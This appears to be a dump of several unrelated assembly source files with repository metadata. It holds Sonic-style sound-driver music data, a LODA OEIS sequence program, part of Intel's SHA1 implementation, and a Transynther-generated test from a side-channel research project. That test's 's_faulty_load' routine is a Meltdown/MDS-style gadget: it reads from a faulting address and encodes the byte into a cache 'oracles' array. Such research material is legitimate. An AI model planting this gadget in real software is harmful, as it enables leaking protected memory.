dc.b nF5, $06, nG5, nC6, nG5, nF5, nE5, nC5, $05, nRst, $2B, nRst
dc.b $3C
smpsSetvoice $02
dc.b nG3, $06, nRst, nG3, nRst, nG3, nRst
smpsJump Snd_ALZ_Loop06
; FM5 Data
Snd_ALZ_FM5:
dc.b nRst, $0E
smpsSetvoice $00
smpsModSet $0D, $01, $02, $06
dc.b nC4, $08, nF4, nG4, nF4, nG4, nC5, nG4, nC5, nD5, nF5, $18
Snd_ALZ_Jump00:
dc.b nRst, $60, nRst, nRst, nRst
smpsSetvoice $04
dc.b nRst, $18, nG5, $30, nC5, $06, nRst, $12, nRst, $54, nG5, $06
dc.b nRst, nG5, $12, nC5, $06, nRst, $0C, nG4, $06, nRst, nG4, $12
dc.b nC4, $06, nRst, $18
smpsSetvoice $03
dc.b nRst, $30, nRst, $06, nC4, nE4, nG4, nE4, nG4, nC5, nE5, nF5
dc.b $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5
dc.b nE5, nD5, nE5, $08, nRst, $0A, nC4, $06, nE4, nG4, nE4, nG4
dc.b nC5, nE5, nF5, $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18
dc.b nE5, $0C, nF5, nE5, nD5, nC5, $08, nRst, $0A, nC6, $06, nG5
dc.b nE5, nG5, nE5, nC5, nG4
smpsSetvoice $00
dc.b nRst, $18, nG4, $06, nRst, $1E, nF4, $06, nRst, $1E, nC5, $06
dc.b nRst, $1E, nG4, $06, nRst, $1E, nE5, $06, nRst, $12, nRst, $0C
dc.b nC5, $06, nRst, $1E, nG5, $06, nRst, $2A, nRst, $36
smpsSetvoice $03
dc.b nC4, $06, nE4, nG4, nE4, nG4, nC5, nE5, nF5, $0C, nE5, nD5
dc.b nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5, nE5, nD5, nE5
dc.b $08, nRst, $0A, nC4, $06, nE4, nG4, nE4, nG4, nC5, nE5, nF5
dc.b $0C, nE5, nD5, nC5, $06, nRst, $12, nG5, $18, nE5, $0C, nF5
dc.b nE5, nD5, nC5, $08, nRst, $0A, nC6, $06, nG5, nE5, nG5, nE5
dc.b nC5, nG4
smpsSetvoice $00
dc.b nRst, $18, nG4, $06, nRst, $1E, nF4, $06, nRst, $1E, nC5, $06
dc.b nRst, $1E, nG4, $06, nRst, $1E, nE5, $06, nRst, $12, nRst, $0C
dc.b nC5, $06, nRst, $1E, nG5, $06, nRst, $12, nD5, $06, nRst, nE5
dc.b nRst, nG3, $0C, nG3, $06, nRst, nBb3, nRst, $12, nD4, $0C, nC4
dc.b $06, nRst, $12
smpsSetvoice $04
smpsFMAlterVol $03
dc.b nE5, $18, nD5, $06, nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5
dc.b nE5, nRst, $0C, nF5, $18, nE5, $06, nRst, nF5, nRst, nE5, nRst
dc.b nF5, nRst, nE5, nF5, nRst, $0C, nG5, $18, nF5, $06, nRst, nG5
dc.b nRst, nF5, nRst, nG5, nRst, nF5, nE5, nRst, $0C, nA4, $1E, nRst
dc.b $06, nB4, nRst, nB4, nRst, nB4, $0C, nG4, $06, nRst, nG4, nRst
dc.b nE5, $18, nD5, $06, nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5
dc.b nE5, nRst, $0C, nF5, $18, nE5, $06, nRst, nF5, nRst, nE5, nRst
dc.b nF5, nRst, nE5, nF5, nRst, $0C, nG5, $18, nF5, $06, nRst, nG5
dc.b nRst, nF5, nRst, nG5, nRst, nF5, nE5, nRst, $0C, nA4, $1E, nRst
dc.b $06, nBb4, nRst, nBb4, nRst, nB4, $0C, nRst, nC5, $06, nRst, nF5
dc.b $3C, nE5, $0C, nC5, nA4, nE5, $06, nRst, nRst, $0C, nD5, $08
dc.b nRst, $28, nC5, $06, nRst, nC5, nRst, nC5, nRst
smpsFMAlterVol $FD
smpsJump Snd_ALZ_Jump00
; DAC Data
Snd_ALZ_DAC:
dc.b dSnareS3, $18, dKickS3, dKickS3, dSnareS3, $06, dSnareS3, dSnareS3, dSnareS3
Snd_ALZ_Loop00:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $03, Snd_ALZ_Loop00
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, $06, dKickS3, dSnareS3, dSnareS3
dc.b dKickS3, $0C, dKickS3, $06, dKickS3, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
Snd_ALZ_Loop01:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $02, Snd_ALZ_Loop01
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, $0C, dSnareS3, $06, dKickS3, $0C, dSnareS3, dKickS3
Snd_ALZ_Loop02:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $03, Snd_ALZ_Loop02
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dSnareS3, $0C, dSnareS3, dSnareS3, $06, dSnareS3
Snd_ALZ_Loop03:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $02, Snd_ALZ_Loop03
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, $06, dSnareS3, dSnareS3, $0C
dc.b dKickS3, dSnareS3, dSnareS3, dSnareS3, $06, dSnareS3, dKickS3, dSnareS3, $0C, dSnareS3, $06, dSnareS3
dc.b dSnareS3, dKickS3, dSnareS3
Snd_ALZ_Loop04:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $03, Snd_ALZ_Loop04
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dSnareS3, $0C, dSnareS3, dSnareS3, $06, dSnareS3
Snd_ALZ_Loop05:
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, dKickS3
smpsLoop $00, $02, Snd_ALZ_Loop05
dc.b dKickS3, $18, dSnareS3, $12, dKickS3, dKickS3, $0C, dSnareS3, $06, dSnareS3, dSnareS3, $0C
dc.b dKickS3, dSnareS3, $06, dSnareS3, dSnareS3, $18, dSnareS3, $0C, dSnareS3, $06, dSnareS3, dSnareS3
dc.b dSnareS3, dSnareS3, dSnareS3, dKickS3, $0C, dKickS3, dSnareS3, $18, dKickS3, $0C, dKickS3, dSnareS3
dc.b dKickS3, dKickS3, dKickS3, dSnareS3, $18, dKickS3, $0C, dKickS3, dSnareS3, dKickS3, dKickS3, dKickS3
dc.b dSnareS3, dKickS3, dSnareS3, dKickS3, dSnareS3, dKickS3, dKickS3, dKickS3, dSnareS3, $18, dKickS3, $0C
dc.b dKickS3, dSnareS3, dSnareS3, dKickS3, dKickS3, dSnareS3, $18, dKickS3, $0C, dKickS3, dSnareS3, dKickS3
dc.b dKickS3, dKickS3, dSnareS3, $18, dKickS3, $0C, dKickS3, dSnareS3, dKickS3, dKickS3, dKickS3, dSnareS3
dc.b dKickS3, dSnareS3, dKickS3, dSnareS3, dKickS3, dKickS3, dKickS3, dSnareS3, $18, dSnareS3, $06, dKickS3
dc.b dKickS3, $0C, dSnareS3, $06, dSnareS3, dSnareS3, $0C, dKickS3, dKickS3, dSnareS3, $18, dKickS3
dc.b $0C, dKickS3, dSnareS3, dSnareS3, dKickS3, dSnareS3, dSnareS3, dKickS3, dSnareS3, dKickS3, dSnareS3, dSnareS3
dc.b $06, dSnareS3
smpsJump Snd_ALZ_Loop00
; PSG1 Data
Snd_ALZ_PSG1:
smpsModSet $0D, $01, $02, $06
dc.b nRst, $12, nD5, $01, nE5, nF5, nG5, nA5, nB5, nC6, $30, nF5
dc.b $06, nE5, $02, nD5, nC5, nB4, $01, nA4, nG4, nF4, nE4, nD4
dc.b nC4, nB3, nA3, nG3, nF3, nE3
Snd_ALZ_Jump02:
dc.b nRst, $3C, nG4, $06, nRst, nC5, nRst, nG4, nRst, nD5, nRst, nG4
dc.b nD5, nRst, nC5, nRst, nE5, nRst, $30, nRst, $3C, nG4, $06, nRst
dc.b nC5, nRst, nG4, nRst, nD5, nRst, nG4, nD5, nRst, nC5, nRst, nC5
dc.b nRst, $30, nRst, $12, nD5, $01, nE5, nF5, nG5, nA5, nB5, nC6
dc.b $30, nF5, $06, nE5, $02, nD5, nC5, nB4, $01, nA4, nG4, nF4
dc.b nE4, nD4, nC4, nB3, nA3, nG3, nF3, nE3, nRst, $54, nC6, $06
dc.b nRst, nC6, $12, nG5, $06, nRst, $0C, nC5, $06, nRst, nC5, $12
dc.b nG4, $06, nRst, $18, nRst, $30, nRst, $06, nE4, nG4, nC5, nG4
dc.b nC5, nE5, nG5, nRst, $0C, nC4, $06, nRst, $12, nC4, $06, nRst
dc.b $2A, nC4, $06, nRst, nC4, nRst, $0C, nC4, $06, nRst, $1E, nE4
dc.b $06, nG4, nC5, nG4, nC5, nE5, nG5, nRst, $0C, nC4, $06, nRst
dc.b $12, nC4, $06, nRst, $2A, nC4, $06, nRst, nC4, nRst, $0C, nC4
dc.b $06, nRst, $1E, nC6, $06, nG5, nE5, nG5, nE5, nC5, nG4, nRst
dc.b $0C, nC4, $08, nRst, $0A, nC4, $06, nRst, $0C, nC4, $08, nRst
dc.b $0A, nC4, $08, nRst, $0A, nC4, $20, nC4, $0C, nRst, $10, nC4
dc.b $06, nC4, $08, nRst, $04, nC4, $08, nRst, $0A, nC4, $20, nC4
dc.b $0C, nRst, $10, nC4, $06, nC4, $08, nRst, $04, nC4, $08, nRst
dc.b $0A, nC4, $18, nB3, $06, nRst, nC4, $08, nRst, $16, nE4, $06
dc.b nG4, nC5, nG4, nC5, nE5, nG5, nRst, $0C, nC4, $06, nRst, $12
dc.b nC4, $06, nRst, $2A, nC4, $06, nRst, nC4, nRst, $0C, nC4, $06
dc.b nRst, $1E, nE4, $06, nG4, nC5, nG4, nC5, nE5, nG5, nRst, $0C
dc.b nC4, $06, nRst, $12, nC4, $06, nRst, $2A, nC4, $06, nRst, nC4
dc.b nRst, $0C, nC4, $06, nRst, $1E, nC6, $06, nG5, nE5, nG5, nE5
dc.b nC5, nG4, nRst, $0C, nC4, $08, nRst, $0A, nC4, $06, nRst, $0C
dc.b nC4, $08, nRst, $0A, nC4, $08, nRst, $0A, nC4, $20, nC4, $0C
dc.b nRst, $10, nC4, $06, nC4, $08, nRst, $04, nC4, $08, nRst, $0A
dc.b nC4, $1E, nC4, $0C, nRst, $12, nC4, $06, nC4, nRst, nC4, nRst
dc.b $0C, nG3, $1E, nRst, $06, nBb3, nRst, $12, nD4, $0C, nC4, $06
dc.b nRst, $12, nC5, $18, nB4, $06, nRst, nC5, nRst, nB4, nRst, nC5
dc.b nRst, nB4, nC5, nRst, $0C, nD5, $18, nC5, $06, nRst, nD5, nRst
dc.b nC5, nRst, nD5, nRst, nC5, nD5, nRst, $0C, nE5, $18, nD5, $06
dc.b nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5, nC5, nRst, $0C, nF4
dc.b $1E, nRst, $06, nG4, nRst, nG4, nRst, nG4, $0C, nE4, $06, nRst
dc.b nD4, nRst, nC5, $18, nB4, $06, nRst, nC5, nRst, nB4, nRst, nC5
dc.b nRst, nB4, nC5, nRst, $0C, nD5, $18, nC5, $06, nRst, nD5, nRst
dc.b nC5, nRst, nD5, nRst, nC5, nD5, nRst, $0C, nE5, $18, nD5, $06
dc.b nRst, nE5, nRst, nD5, nRst, nE5, nRst, nD5, nC5, nRst, $0C, nF4
dc.b $1E, nRst, $06, nFs4, nRst, nFs4, nRst, nG4, $0C, nRst, nA4, $06
dc.b nRst, nA4, $3C, nE5, $0C, nRst, $18, nG4, $06, nRst, nRst, $0C
dc.b nG4, $08, nRst, $28, nG4, $06, nRst, nG4, nRst, nG4, nRst
smpsJump Snd_ALZ_Jump02
; PSG2 Data
Snd_ALZ_PSG2:
smpsStop
; PSG3 Data
Snd_ALZ_PSG3:
smpsStop
Snd_ALZ_Voices:
; Voice $00
; $3C
; $44, $31, $12, $61, $1F, $1F, $1F, $1F, $0A, $08, $0B, $01
; $00, $0F, $00, $00, $1F, $3F, $5F, $1F, $21, $87, $10, $88
smpsVcAlgorithm $04
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $06, $01, $03, $04
smpsVcCoarseFreq $01, $02, $01, $04
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $01, $0B, $08, $0A
smpsVcDecayRate2 $00, $00, $0F, $00
smpsVcDecayLevel $01, $05, $03, $01
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $08, $10, $07, $21
; Voice $01
; $38
; $75, $13, $71, $11, $DF, $5F, $1F, $1F, $0C, $0D, $01, $01
; $00, $00, $00, $00, $FF, $FF, $FF, $FF, $1E, $1E, $1E, $81
smpsVcAlgorithm $00
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $01, $07, $01, $07
smpsVcCoarseFreq $01, $01, $03, $05
smpsVcRateScale $00, $00, $01, $03
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $01, $01, $0D, $0C
smpsVcDecayRate2 $00, $00, $00, $00
smpsVcDecayLevel $0F, $0F, $0F, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $01, $1E, $1E, $1E
; Voice $02
; $3D
; $71, $51, $41, $11, $1F, $1F, $1F, $1F, $01, $01, $01, $01
; $00, $00, $00, $00, $FF, $FF, $FF, $FF, $20, $85, $85, $85
smpsVcAlgorithm $05
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $01, $04, $05, $07
smpsVcCoarseFreq $01, $01, $01, $01
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $01, $01, $01, $01
smpsVcDecayRate2 $00, $00, $00, $00
smpsVcDecayLevel $0F, $0F, $0F, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $05, $05, $05, $20
; Voice $03
; $3D
; $51, $61, $71, $21, $1C, $18, $18, $1B, $06, $05, $04, $05
; $06, $05, $06, $06, $6F, $8F, $5F, $7F, $17, $80, $80, $80
smpsVcAlgorithm $05
smpsVcFeedback $07
smpsVcUnusedBits $00
smpsVcDetune $02, $07, $06, $05
smpsVcCoarseFreq $01, $01, $01, $01
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1B, $18, $18, $1C
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $05, $04, $05, $06
smpsVcDecayRate2 $06, $06, $05, $06
smpsVcDecayLevel $07, $05, $08, $06
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $00, $00, $17
; Voice $04
; $07
; $78, $54, $42, $11, $1F, $1F, $1F, $1F, $01, $01, $01, $01
; $00, $00, $00, $00, $FF, $FF, $FF, $FF, $8A, $84, $83, $84
smpsVcAlgorithm $07
smpsVcFeedback $00
smpsVcUnusedBits $00
smpsVcDetune $01, $04, $05, $07
smpsVcCoarseFreq $01, $02, $04, $08
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $01, $01, $01, $01
smpsVcDecayRate2 $00, $00, $00, $00
smpsVcDecayLevel $0F, $0F, $0F, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $04, $03, $04, $0A
| 46.261062
| 115
| 0.582401
|
15f5746b661b564a7a2c76cee17797b3eba32d25
| 491
|
asm
|
Assembly
|
programs/oeis/218/A218749.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/218/A218749.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/218/A218749.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A218749: a(n) = (46^n-1)/45.
; 0,1,47,2163,99499,4576955,210539931,9684836827,445502494043,20493114725979,942683277395035,43363430760171611,1994717814967894107,91757019488523128923,4220822896472063930459,194157853237714940801115,8931261248934887276851291,410838017451004814735159387,18898548802746221477817331803,869333244926326187979597262939,39989329266611004647061474095195,1839509146264106213764827808378971,84617420728148885833182079185432667
mov $1,46
pow $1,$0
div $1,45
mov $0,$1
| 61.375
| 418
| 0.8778
|
b3713d5754b7c19c97153d381550de2d8bf0b651
| 6,470
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1021.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1021.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1021.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1443c, %rax
clflush (%rax)
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov $0x6162636465666768, %rdx
movq %rdx, (%rax)
nop
nop
nop
nop
nop
and $62673, %r11
lea addresses_WC_ht+0x1c45c, %rbp
clflush (%rbp)
nop
add $19240, %rbx
mov (%rbp), %r14w
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x13fdc, %r11
nop
nop
nop
nop
dec %rdx
movb (%r11), %r14b
and $5569, %rbx
lea addresses_normal_ht+0x1dd06, %rbx
nop
nop
nop
and $19331, %r11
movl $0x61626364, (%rbx)
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_WT_ht+0x12c5c, %r11
nop
nop
cmp $57825, %rdx
mov (%r11), %r14w
sub %r14, %r14
lea addresses_A_ht+0x1ee9c, %rbx
nop
dec %rbp
mov $0x6162636465666768, %rax
movq %rax, (%rbx)
nop
nop
sub $43448, %rax
lea addresses_UC_ht+0x23f8, %rbx
nop
xor $23901, %r12
mov $0x6162636465666768, %r14
movq %r14, %xmm6
and $0xffffffffffffffc0, %rbx
vmovntdq %ymm6, (%rbx)
nop
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_WC_ht+0x47bf, %rsi
lea addresses_WC_ht+0x1025c, %rdi
nop
nop
nop
dec %rbp
mov $24, %rcx
rep movsq
inc %r12
lea addresses_WC_ht+0x205c, %rsi
lea addresses_normal_ht+0x1785c, %rdi
clflush (%rsi)
nop
dec %rax
mov $70, %rcx
rep movsq
and $31518, %rbp
lea addresses_WT_ht+0xe65c, %r14
nop
nop
nop
and %rsi, %rsi
movb $0x61, (%r14)
nop
nop
sub %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %rax
push %rsi
// Faulty Load
lea addresses_D+0x1a85c, %r13
nop
nop
nop
nop
nop
sub $51760, %rax
movb (%r13), %r12b
lea oracles, %rsi
and $0xff, %r12
shlq $12, %r12
mov (%rsi,%r12,1), %r12
pop %rsi
pop %rax
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': True, 'size': 16}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_D', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 8}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 2, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}}
{'src': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}}
{'src': {'same': True, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 37.836257
| 2,999
| 0.660433
|
1e104d21f4f5fa994801af7a5f2169e4031b0db0
| 51,951
|
asm
|
Assembly
|
sources/ippcp/asm_intel64_gas_converted/linux/pic/l9/singlecpu/pcpsha1l9as.asm
|
ymarkovitch/ipp-crypto
|
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
|
[
"Apache-2.0"
] | null | null | null |
sources/ippcp/asm_intel64_gas_converted/linux/pic/l9/singlecpu/pcpsha1l9as.asm
|
ymarkovitch/ipp-crypto
|
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
|
[
"Apache-2.0"
] | null | null | null |
sources/ippcp/asm_intel64_gas_converted/linux/pic/l9/singlecpu/pcpsha1l9as.asm
|
ymarkovitch/ipp-crypto
|
ac8f1c443cc79e9f2f8508f8c707c9ed0caa22c8
|
[
"Apache-2.0"
] | null | null | null |
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") contained herein is
# owned by Intel Corporation or its suppliers or licensors, and title to such
# Material remains with Intel Corporation or its suppliers or licensors. The
# Material contains proprietary information of Intel or its suppliers and
# licensors. The Material is protected by worldwide copyright laws and treaty
# provisions. No part of the Material may be used, copied, reproduced,
# modified, published, uploaded, posted, transmitted, distributed or disclosed
# in any way without Intel's prior express written permission. No license under
# any patent, copyright or other intellectual property rights in the Material
# is granted to or conferred upon you, either expressly, by implication,
# inducement, estoppel or otherwise. Any license under such intellectual
# property rights must be express and approved by Intel in writing.
#
# Unless otherwise agreed by Intel in writing, you may not remove or alter this
# notice or any other notice embedded in Materials by Intel or Intel's
# suppliers or licensors in any way.
#
#
# If this software was obtained under the Apache License, Version 2.0 (the
# "License"), the following terms apply:
#
# You may not use this file except in compliance with the License. You may
# obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#
# See the License for the specific language governing permissions and
# limitations under the License.
###############################################################################
.section .note.GNU-stack,"",%progbits
.text
.p2align 5, 0x90
SHA1_YMM_K:
.long 0x5a827999, 0x5a827999, 0x5a827999, 0x5a827999, 0x5a827999, 0x5a827999, 0x5a827999, 0x5a827999
.long 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1, 0x6ed9eba1
.long 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc, 0x8f1bbcdc
.long 0xca62c1d6, 0xca62c1d6, 0xca62c1d6, 0xca62c1d6, 0xca62c1d6, 0xca62c1d6, 0xca62c1d6, 0xca62c1d6
SHA1_YMM_BF:
.long 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f
.long 0x10203, 0x4050607, 0x8090a0b, 0xc0d0e0f
.p2align 5, 0x90
.globl UpdateSHA1
.type UpdateSHA1, @function
UpdateSHA1:
push %rbp
push %rbx
push %r12
push %r13
push %r14
push %r15
sub $(648), %rsp
mov %rsp, %r15
and $(-32), %rsp
movslq %edx, %r14
vmovdqa SHA1_YMM_BF(%rip), %ymm11
movl (%rdi), %eax
